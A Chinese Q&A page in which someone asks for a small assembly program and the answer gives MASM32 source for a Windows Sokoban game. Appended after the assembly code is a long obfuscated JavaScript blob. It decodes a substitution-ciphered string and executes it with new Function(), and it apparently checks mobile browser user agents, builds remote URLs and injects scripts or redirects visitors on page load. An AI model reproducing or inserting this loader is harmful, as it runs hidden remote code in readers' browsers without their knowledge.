求一个汇编小程序

2025-02-26 00:36:53
推荐回答(1个)
回答1:

推箱子小游戏
.386
.model flat,stdcall
option casemap:none

include CBox.inc
include StoreHouse.inc

.const
MAP_TOP equ 32
MAP_LEFT equ 1

.data

xBmBack dd 0
xBmWall dd 30
xBmRoad dd 60
xBmBox1 dd 90
xBmBox2 dd 120
xBmObject dd 150
xBmMan dd 180

szCaption db 'RedBox',0
szLoadError db 'Load Resource Error! ',0
szAlreadyMaxGate db 'Already Max Gate!',0
szOutOfRange db 'Out of Range!',0
szSuccessMsg db 'Your are success!!!',13,10,'Are you want to next gate?',0

FmtStr db 'val = %d',0
FmtGate db ' - No.%d',0
.data?
bmToolbar dd ?
BackDc dd ?
hBitMap dd ?

szErrorMessage db 256 dup (?)

Map db 14D*12D dup (?) ; 14 x 12 Grid
ManXPos dd ?
ManYPos dd ?
CurrGate dd ?
CurrStep dd ?

.code

start:

invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke InitCommonControls
invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style,CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc,OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,DLGWINDOWEXTRA
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx,addr wc
invoke CreateDialogParam,hInstance,addr DlgName,NULL,addr WndProc,NULL
invoke ShowWindow,hWnd,SW_SHOWNORMAL
invoke UpdateWindow,hWnd
.while TRUE
invoke GetMessage,addr msg,NULL,0,0
.BREAK .if !eax
invoke TranslateMessage,addr msg
invoke DispatchMessage,addr msg
.endw
mov eax,msg.wParam
ret

WinMain endp

WndProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
LOCAL ps :PAINTSTRUCT
LOCAL Dc:HDC

mov eax,uMsg
.if eax == WM_KEYDOWN
invoke KeyDownProc,wParam
.elseif eax==WM_INITDIALOG
push hWin
pop hWnd
invoke GetDlgItem,hWin,IDC_TBRMAIN
invoke DoToolBar,hInstance,eax
invoke LoadRes
.if eax == FALSE
invoke MessageBox,hWin,Addr szErrorMessage,\
Addr szLoadError,MB_ICONERROR
.endif
invoke InitStBar
invoke SelectGate,1
.elseif eax==WM_COMMAND
mov eax,wParam
and eax,0FFFFh
.if eax==IDM_FILE_EXIT
invoke SendMessage,hWin,WM_CLOSE,0,0
.elseif eax==IDM_HELP_ABOUT
invoke ShellAbout,hWin,addr AppName,addr AboutMsg,NULL
.elseif eax == IDC_TBB_NEW
invoke SelectGate,CurrGate
.elseif eax == IDC_TBB_PREV
mov eax, CurrGate
dec eax
invoke SelectGate,eax
.elseif eax == IDC_TBB_NEXT
invoke NextGate
.elseif eax == IDC_TBB_ABOUT
invoke ShellAbout,hWnd,Addr AppName,Addr AboutMsg,NULL
.endif
.elseif eax==WM_PAINT
invoke BeginPaint,hWin,Addr ps
mov Dc,eax
invoke WMPaint,Dc
invoke EndPaint,hWin,Addr ps
.elseif eax==WM_CLOSE
invoke DestroyWindow,hWin
.elseif uMsg==WM_DESTROY
invoke FreeRes
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWin,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret

WndProc endp

DoToolBar proc hInst:DWORD,hToolBar:HWND
LOCAL tbab:TBADDBITMAP

;Set toolbar struct size
invoke SendMessage,hToolBar,TB_BUTTONSTRUCTSIZE,sizeof TBBUTTON,0
;Set toolbar bitmap
;push HINST_COMMCTRL
invoke LoadBitmap,hInstance,BM_TOOLBAR
mov bmToolbar,eax
;push eax
;pop tbab.hInst
;mov tbab.nID,IDB_VIEW_LARGE_COLOR ;IDB_STD_SMALL_COLOR
mov tbab.hInst,NULL
mov tbab.nID ,eax
invoke SendMessage,hToolBar,TB_ADDBITMAP,15,addr tbab
;Set toolbar buttons
invoke SendMessage,hToolBar,TB_ADDBUTTONS,ntbrbtns,addr tbrbtns
mov eax,hToolBar
ret

DoToolBar endp

;-- Load Bitmap from Resource and return true or false ---
LoadRes proc
LOCAL Dc:DWORD

invoke lstrcpy,Addr szErrorMessage,Addr szLoadError
invoke GetDC,hWnd
mov Dc,eax
invoke CreateCompatibleDC,Dc
mov BackDc,eax

invoke LoadBitmap,hInstance,BM_MAIN
.if eax == 0
mov eax ,FALSE
jmp @@ExitLoad
.endif
mov hBitMap,eax
invoke SelectObject,BackDc,hBitMap
mov eax ,TRUE
@@ExitLoad:

ret

LoadRes endp

;-- Free all Resource ---
FreeRes proc
invoke DeleteObject,hBitMap
invoke DeleteDC,BackDc
invoke DeleteObject,bmToolbar
ret
FreeRes endp

NextGate proc

mov eax ,CurrGate
.if eax < MAX_GATES
inc CurrGate
invoke SelectGate,CurrGate
.else
invoke MessageBox,hWnd,Addr szAlreadyMaxGate,Addr szCaption,MB_ICONINFORMATION
.endif
ret

NextGate endp

;--- Select game Gate
SelectGate proc iGate :DWORD
LOCAL szTmp1[256]:BYTE
LOCAL szTmp2[256]:BYTE

mov eax ,iGate
.if eax >MAX_GATES || eax < 1
invoke MessageBox,hWnd,Addr szOutOfRange,Addr szCaption,MB_ICONERROR
ret
.endif
mov CurrGate ,eax
mov eax ,14D*12D
mov ebx,iGate
dec ebx
mul bx

push esi
lea esi,BoxMaps
add esi,eax
lea edi,Map
mov ecx,14D*12D
rep movsb

mov CurrStep , 0
mov ecx ,0
lea esi,Map
@@1: ;-- found Man Pos
mov ebx,ecx
mov al, byte ptr [esi][ebx]
cmp al,MAP_MAN
jz @@2
inc ecx
cmp ecx,14D*12D
jnz @@1
@@2:
mov al ,MAP_ROAD
mov byte ptr [esi][ebx],al

; Pos to x,y
mov edx ,0
mov eax,ecx
mov ebx,14D
div ebx
mov ManXPos,edx
mov ManYPos,eax
pop esi
invoke Repaint
invoke wsprintf,Addr szTmp1,Addr FmtGate,CurrGate
invoke lstrcpy,Addr szTmp2,Addr szCaption
invoke lstrcat,Addr szTmp2,Addr szTmp1
invoke SendMessage,hWnd,WM_SETTEXT,0,Addr szTmp2
ret

SelectGate endp

WMPaint proc Dc:DWORD
LOCAL i:DWORD
LOCAL j:DWORD
LOCAL x:DWORD
LOCAL y:DWORD
LOCAL nPos :DWORD

mov x ,MAP_LEFT
mov y ,MAP_TOP
mov i ,1
mov j ,1
lea esi ,Map
@@i:
mov x ,MAP_LEFT
mov j ,1
@@j:
;Calc nPos ,nPos := (i-1) * 14 + (j-1)
mov eax,i
dec eax
mov ebx,14D
mul bx
add eax,j
dec eax
mov ebx,eax
mov al,[esi][ebx]
.if al == MAP_BACK
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmBack,0,SRCCOPY
.elseif al == MAP_WALL
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmWall,0,SRCCOPY
.elseif al == MAP_ROAD
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmRoad,0,SRCCOPY
.elseif al == MAP_BOX1
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmBox1,0,SRCCOPY
.elseif al == MAP_BOX2
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmBox2,0,SRCCOPY
.elseif al == MAP_OBJECT
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmObject,0,SRCCOPY
.else ; eax == MAP_MAN
invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmMan,0,SRCCOPY
.endif

add x,30D
inc j
cmp j ,15D
jb @@j ; if j <= 14

inc i
add y,30D
cmp i,13 ;if i <= 12
jb @@i

mov edx,0
mov eax,ManXPos
mov ebx,30D
mul bx
add eax,MAP_LEFT
mov x,eax

mov edx ,0
mov eax,ManYPos
mov ebx,30D
mul bx
add eax,MAP_TOP
mov y,eax

invoke BitBlt,Dc,x,y,30D,30D,BackDc,xBmMan,0,SRCCOPY

ret
WMPaint endp

KeyDownProc proc wParam:DWORD
mov eax ,wParam
.if eax == VK_UP
invoke ManMove,VK_UP
.elseif eax == VK_DOWN
invoke ManMove,VK_DOWN
.elseif eax == VK_LEFT
invoke ManMove,VK_LEFT
.elseif eax == VK_RIGHT
invoke ManMove ,VK_RIGHT
.else
ret
.endif

invoke Check
.if eax == TRUE
invoke MessageBox,hWnd,Addr szSuccessMsg,Addr szCaption,MB_ICONINFORMATION or MB_OKCANCEL
.if eax == IDOK
invoke NextGate
.endif
.endif
ret

KeyDownProc endp

ManMove proc vKey :DWORD
LOCAL NewX:DWORD
LOCAL NewY:DWORD
LOCAL NewX2 :DWORD
LOCAL NewY2 :DWORD
LOCAL M1 :byte
LOCAL M2 :byte
LOCAL nPos1 :DWORD
LOCAL nPos2 :DWORD

push esi

mov eax,ManXPos
mov NewX,eax
mov NewX2,eax
mov eax,ManYPos
mov NewY,eax
mov NewY2,eax

mov eax ,vKey
.if eax == VK_UP
dec NewY
dec NewY2
dec NewY2
.elseif eax == VK_DOWN
inc NewY
inc NewY2
inc NewY2
.elseif eax == VK_LEFT
dec NewX
dec NewX2
dec NewX2
.elseif eax == VK_RIGHT
inc NewX
inc NewX2
inc NewX2
.else
ret
.endif

mov esi ,offset Map
; Pos = y*14 + x
; Get M1
mov eax,NewY
mov ebx,14D
mul bx
add eax,NewX
mov ebx,eax
mov nPos1,eax
mov al ,[esi][ebx]
mov M1,al
; Get M2
mov eax,NewY2
mov ebx,14D
mul bx
add eax,NewX2
mov ebx,eax
mov nPos2,eax
mov al ,[esi][ebx]
mov M2,al

mov al,M1
.if (al == MAP_ROAD || al == MAP_OBJECT )
push NewX
pop ManXPos
push NewY
pop ManYPos
.elseif al == MAP_BOX1 ; push box
mov al ,M2
.if al == MAP_ROAD ; push ok
mov ebx,nPos2
mov al,MAP_BOX1
mov [esi][ebx],al
mov ebx,nPos1
mov al,MAP_ROAD
mov [esi][ebx],al
push NewX
pop ManXPos
push NewY
pop ManYPos
.elseif al == MAP_OBJECT
mov ebx,nPos2
mov al,MAP_BOX2
mov [esi][ebx],al
mov ebx,nPos1
mov al,MAP_ROAD
mov [esi][ebx],al
push NewX
pop ManXPos
push NewY
pop ManYPos
.endif
.elseif al == MAP_BOX2
mov al,M2
.if al == MAP_ROAD
mov ebx,nPos2
mov al,MAP_BOX1
mov [esi][ebx],al
mov ebx,nPos1
mov al,MAP_OBJECT
mov [esi][ebx],al
push NewX
pop ManXPos
push NewY
pop ManYPos
.elseif al == MAP_OBJECT
mov ebx,nPos2
mov al,MAP_BOX2
mov [esi][ebx],al
mov ebx,nPos1
mov al,MAP_OBJECT
mov [esi][ebx],al
push NewX
pop ManXPos
push NewY
pop ManYPos
.endif
.else

.endif

invoke Repaint
pop esi
ret

ManMove endp

XYtoPos proc x:DWORD,y:DWORD
; pos = y *14 + x Zero-Based
mov eax, y
mov ebx, 14D
mul bx
add eax ,x
ret
XYtoPos endp

Repaint proc
LOCAL R:RECT

invoke GetClientRect,hWnd,Addr R
invoke InvalidateRect,hWnd,Addr R,0
ret

Repaint endp

Check proc
; Check Success and return true or false
LOCAL Result :DWORD
push esi
push TRUE
pop Result
lea esi,Map
mov ecx, 14D*12D
mov ebx ,0
@@1:
mov al ,[esi][ebx]
inc ebx
cmp al,MAP_OBJECT
jz @@2
dec ecx
jnz @@1
jmp @@ExitCheck
@@2:
push FALSE
pop Result
@@ExitCheck:
mov eax,Result
pop esi
ret

Check endp

InitStBar proc
LOCAL StbarHandle :DWORD
invoke GetDlgItem,hWnd,IDC_SBR1
mov StbarHandle,eax
invoke SendMessage,StbarHandle,SB_SIMPLE,1,0
;invoke SendMessage,StbarHandle,SB_SETPARTS,1,150
ret

InitStBar endp

ShowMessage proc Val:DWORD
push eax
invoke wsprintf,Addr szErrorMessage,Addr FmtStr,Val
invoke MessageBox,hWnd,Addr szErrorMessage,Addr szCaption,MB_ICONINFORMATION
pop eax
ret

ShowMessage endp

end start

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();